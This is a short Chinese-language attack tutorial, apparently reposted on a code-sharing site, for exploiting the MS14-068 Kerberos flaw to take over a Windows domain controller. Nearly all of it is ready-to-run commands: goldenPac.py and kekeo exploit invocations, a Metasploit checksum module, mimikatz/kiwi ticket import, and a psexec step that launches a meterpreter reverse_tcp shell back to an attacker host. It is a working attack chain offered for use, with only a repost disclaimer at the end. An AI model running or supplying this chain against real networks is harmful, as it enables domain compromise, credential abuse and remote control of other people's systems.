python goldenPac.py -dc-ip 192.168.107.146 -target-ip 192.168.107.146 test.com/user:password@dc.test.com
-dc-ip 是主域控的ip地址-target-ip 也是主域控的ip地址test.net 是域名user是當前域用戶user:冒號后面是當前域用戶的密碼@ 后輸入主域計算機名 比如:dc.test.com

kekeo:

kekeo# exploit::ms14-068 /domain:test.com /user:test /password:test123 /sid:xxxx /ptt

 

msf

ms14068kerberos_checksum模塊

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

填寫以上信息后,輸入exploit命令,會在/root/.msf4/loot目錄下生成文件

接下來進行格式轉換。因為Metasploit不支持bin文件的導入,所以要先使用mimikatz對文件進行格式轉換。在mimikatz中輸入如下命令,導出kirbi格式的文件

將導出kirbi格式的文件上傳到kali中

 

使域機器在msf上線:

輸入load kiwi命令 (kiwi模塊是在mimikatz功能基礎上的擴展)然后輸入如下命令將票據導入

kerberos_ticket_use /tmp/0-00000000-98612@krbtgt-YOKAN.COM.kirb

接着輸入background命令,切換到meterpreter后台,使用高權限票據進行測試​​​​​​​

backgrounduse exploit/windows/local/current_user_psexecset payload windows/x64/meterpreter/reverse_tcpset TECHNIQUE PSHset RHOSTS WIN-1D09BAA27UF.yokan.comset lhost 192.168.111.238set session 1exploit

 

----------------------------------------END-----------------------------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM